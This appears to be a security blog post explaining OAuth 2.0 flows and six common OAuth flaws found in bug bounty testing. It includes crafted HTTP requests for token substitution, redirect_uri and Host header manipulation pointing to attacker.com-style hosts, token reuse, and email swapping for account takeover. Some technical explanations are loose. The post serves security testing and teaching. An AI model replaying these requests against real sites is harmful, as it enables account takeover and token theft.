Oauth and Security
Oauth2.0 framework and common security test cases
Introduction to Oauth
Oauth2 is an authorization framework at best. Consider the following generic example, Alice and Bob want to submit their CVs on a job posting website called JOBS.com. Now JOBS.com has two ways of uploading a CV. The first option uses Alice and Bob’s LinkedIn profile as their CV while the second uses a manually crafted CV to be uploaded(which is the general way) . Alice chooses to upload via LinkedIn as she is lazy lets suppose :} while Bob drafts and uploads his CV manually. What Alice has done here is allowing JOBS.com to access Alice’s LinkedIn profile and its details to customize her CV. So JOBS.com will take the details from Alice’s LinkedIn and fill in to its own CV template format or will simply take the LinkedIn profile CV and put it up. This saves Alice a lot of time provided her LinkedIn profile is good enough.
Simple Oauth flow UML diagram:
Oauth2 key terms to be understood:
Now when Alice (the resource owner) selects “Sign in with LinkedIn” and uploads, LinkedIn acts as the authorization server which issues “access tokens” to the client application while the resource server shall be JOBS.com web server that seeks Alice’s resources. Alice is then redirected after her authorization process is completed via the redirect_uri parameter. In every such request made there is a state parameter present that marks as an identification value for every such requests being made and not repetitive thus extending as a defense for CSRF attacks.
The client application is JOBS.com web app which makes a request to LinkedIn to access profile details using its client_id, a publicly allocated number (in some cases can appear as a hashed string) and the client_secret. Client secret is the unique key used to identifiy a client application by the authorization server which is LinkedIn in our case. An application has to register to an Oauth provider such as LinkedIn or Google to get a client id, client secret and an API for its access.
Now this is called an Oauth flow . The access token discussed earlier represents the authorization of a specific application to access specific parts of a user’s data. Access tokens must be kept confidential in transit and in storage.
There can be several such type of flows for getting these access tokens such as:
- Authorization grant flow: where a code grant is given initially and is exchanged for an access token. Authorisation code grant in the image below depicts the use of a code by the authorization server to be used by the application to get the access token. The code is sent once and is unique for getting a new access token.
(More on it here: https://auth0.com/docs/flows/concepts/auth-code-pkce)
2. Implicit code grant:In this case the access token is directly given to the client application after authentication with Oauth provider is completed and there is no role of any code grant here.This should generally happen as server to server internal calls and not be exposed at client side.(More on it here: https://auth0.com/docs/flows/concepts/implicit)
3. Refresh token flow: is used by clients to exchange a refresh token for an access token when the access token has expired. Just like with auth code grant flow, a random token is exchanged for an active access token . (More on it here: https://www.oauth.com/oauth2-servers/access-tokens/refreshing-access-tokens/)
4. Client Credentials flow : is used in case of non interactive applications that request an access token to access their own resources, not on behalf of a user such as server’s backend services.
What flow to be used can be a question pondering? This totally depends on the type of client application. (More on it here: https://auth0.com/docs/api-auth/which-oauth-flow-to-use)
So that was about the general summary over Oauth protocol flow and its key terms.
Bypasses and Security issues that could persist … :}
Security issues that can be observed.
Issue 1: Access token passed in request body (Most commonly found bug in bug bounty programs I have found them thrice until yet:)
If the access token is passed in the request body at the time of allocating the access token to the web application there arises an attack scenario. An attacker can create a web application and register for an Oauth framework with a provider such as twitter or facebook. The attacker uses it as a malicious app for gaining access tokens. For example, a Hacker can build his own facebook app and get victim’s facebook access token and use that access token to login into victim account.
(First, attacker.com regsisters his app to Oauth Facebook and generates his own access token then )
POST /config/api/facebookLogin HTTP/1.1
Host: attacker.com
Content-Length: 255
Content-Type: application/json;charset=UTF-8
Accept: application/json, text/plain, */*
Cache-Control: no-cache
XSRF-TOKEN: <redacted>
Origin: https://victim.com
Referer: https://victim.com/api/users
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: <redacted>{"isLoggedin":false,"accessToken":"EABCY4XUaAeYBAORvxYq8G8hLSbOZCBPxdEFgupDI7E8cKNIE5G4jUkgZCgHmV7Pcsb3EVNICWpuwfIa0ECoaF9Bj3InKO7iizyUFXGy0Vrx6t9ypVmQ0lHyz6HUlHzVqVcqZqol7MJsGoTGbrXojMM2GcJgVELPVFNeDAQxh0H0ebouDSdbF4qNUGYAL56g1uoB6q134skqZAc3SboZBP"}
Attacker uses his own generated access token into the victim’s Oauth application and gains control of his/her account.
(Uses his generated access token into to login to victim’s application )
POST /auth/api/v1/facebookLogin HTTP/1.1
Host: victim.com
Content-Length: 255
Content-Type: application/json;charset=UTF-8
Accept: application/json, text/plain, */*
Cache-Control: no-cache
XSRF-TOKEN: <redacted>
Origin: https://victim.com
Referer: https://victim.com/api/users
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: <redacted>{"isLoggedin":false,"accessToken":"EABCY4XUaAeYBAORvxYq8G8hLSbOZCBPxdEFgupDI7E8cKNIE5G4jUkgZCgHmV7Pcsb3EVNICWpuwfIa0ECoaF9Bj3InKO7iizyUFXGy0Vrx6t9ypVmQ0lHyz6HUlHzVqVcqZqol7MJsGoTGbrXojMM2GcJgVELPVFNeDAQxh0H0ebouDSdbF4qNUGYAL56g1uoB6q134skqZAc3SboZBP"}
In the request above we use the FB access token associated to attacker.com in victim.com and gain access to its account.
Note: This attack works if victim application’s grant flow can be seen at the request side be it authorization code or implicit or refresh token flow and that the token should be passed in the request body without any server side validation of the access token at victim application.
Issue 2: Open Redirection at redirect_uri parameter
When there is no server side validation of the redirect url after getting the token there can be a possibility of a url redirection. At a worst case scenario the tokens can be passed to that particutlar malicious website.
POST /api/auth?response_type=code&redirect_uri=http%3A%2F%2Fvictimtoattacker.com%2Fapi%2Fauth%2Fcallback&state=OCoU2LvhmzLGAZ03DW235QNs&client_id%242thg230df4b8d7b81c2683fd3 HTTP/1.1
Host: victim.com
Connection: close
Referer: https://victim.com/cabinet/
Cookie: <redacted>{"mailingConsent":false, "accessToken":"<redacted>"}
Issue 3: Host header injection at access token request.
Although quite uncommon it is sometimes good to test if the host is being validated at the server side or not while carrying the access token. If it is not then there is a possibilty to redirect the token to malicious host via host header injection.
For example consider the following original request,
GET /api/twitter/login?csrf=<redacted> HTTP/1.1
Host: victim.org
Referer: https://www.victim.org/
Cookie:<redacted>
Here upon clicking login with twitter on victim.org we get this request now if you change the host to something like attacker.com/www.victim.org it will sometimes redirect Oauth authorization link to the attacker and obtain the user’s account details via the token that is issued.
Edited request ,
GET /api/twitter/login?csrf=<redacted> HTTP/1.1
Host: attacker.com/victim.org
Referer: https://www.victim.org/
Cookie:<redacted>
Issue 4: Reusability of an Oauth access token (another common bug)
Sometimes there are cases where an Ouath token previously used does not expire with an immediate effect post logout of the account. In such cases there is a possiblility to login with the previous Oauth token i.e; replace the new Oauth access token with the old one and continue to the application. This should not be the case and is considered as a very bad practice.
POST /auth/api/profile HTTP/1.1
Host: victim.com
Referer: https://victim.com/loginCheck
Content-Length: 1123
Cookie: <REDACTED>
Connection: close{"mailingConsent":false,"accessToken":"EAACY2XUaAeYBAORvxYq8G8hLSbOZCBPxdEFgupDI7E8cKNIE5G4jUkgZCgHmV7Pcsb36t9ypVmQ0lHyz6HUlHzVqVcCZCol7MJsGoTGbrXojMM2GcJgVELPVFNeDAQxh0H2jbouDSdbF4qNUGYAL56g1uoB6q274skqZAc3SboZBP"}
Issue - 5: Client secret leaks: client secret can and should be used to make the authorization request calls however this should not be revealed to the end-user as this calls for an abuse of trust. An attacker can abuse this with some tricky and crafty requests to make unauthorized request calls to gain an access token of user registered accounts. It is thus a best practice to not use it in the client side as it gives the end user leverage to make calls on behalf of the application. In our example ,let’s say JOBS.com exposes its client secret : ua1asd313xk2f0nsp0irn8lc9ls and its client id: 1012312 and API id as well then there is a possibility for an unregistered app to make calls to LinkedIn as well as impersonating JOBS.com.
Issue - 6: Improper Oauth token validation: There are chances that the application checks for the presence of an access token and a valid email upon performing an Oauth login but does not validate if that token given by Oauth belongs to a particular user or not. In such cases we can use an access token generated using google or facebook and login to any other registered user’s account of the victim application if we know their email. Hence, it is possible for a user to login into any registered user’s victim account just by replacing his email id with that of the victim’s email id as there is no access token validation individually for every user registered.
Original Request containing usermail and token:
POST /victim/api/v1/users/logincheck HTTP/1.1
Host: victim.com
Content-Type: application/json;charset=utf-8
x-id: 501382585
x-secret: 1e8A4l1Z2b0S6a7L0c1E7B3Qp1
Cookie: <REDACTED>{"email":"user1@mymail.com","isExist":"true","token":"EAACY2XUaAeYBAORvxZCgHmV7Pcsb36t9ypVmQ0lHyz6HUlHzVqVcCZCol7MJsGoTGbrXojMM2GcJgVELPVFNeDAQxh0H2jbouDSdbF4qNUGYAL56"}
After changing the usermail with same access token:
POST /victim/api/v1/users/logincheck HTTP/1.1
Host: victim.com
Content-Type: application/json;charset=utf-8
x-id: 501382585
x-secret: 1e8A4l1Z2b0S6a7L0c1E7B3Qp1
Cookie: <REDACTED>{"email":"user2@mymail.com","isExist":"true","token":"EAACY2XUaAeYBAORvxZCgHmV7Pcsb36t9ypVmQ0lHyz6HUlHzVqVcCZCol7MJsGoTGbrXojMM2GcJgVELPVFNeDAQxh0H2jbouDSdbF4qNUGYAL56"}
Conclusion
All of these issues if discovered have Critical to High severity impact on the web application. These are few of the test cases that can be performed but are not limited to just the mentioned ones as there are many more to explore as and when we come across it during Webapp Penetration testing or Bug bounty hunting . The objective of this post is to highlight the most common Oauth flaws found in my personal and collective research at Wesecureapp. Also a humble thanks for the amazing team at Wesecureapp that supported and aided in this learning. Thanks for your patient read. Happy Quarantine. Cheers for more to come!
You can connect with me on :
Linkedin: www.linkedin.com/in/prakashashok22 and Twitter:https://twitter.com/prakashashok4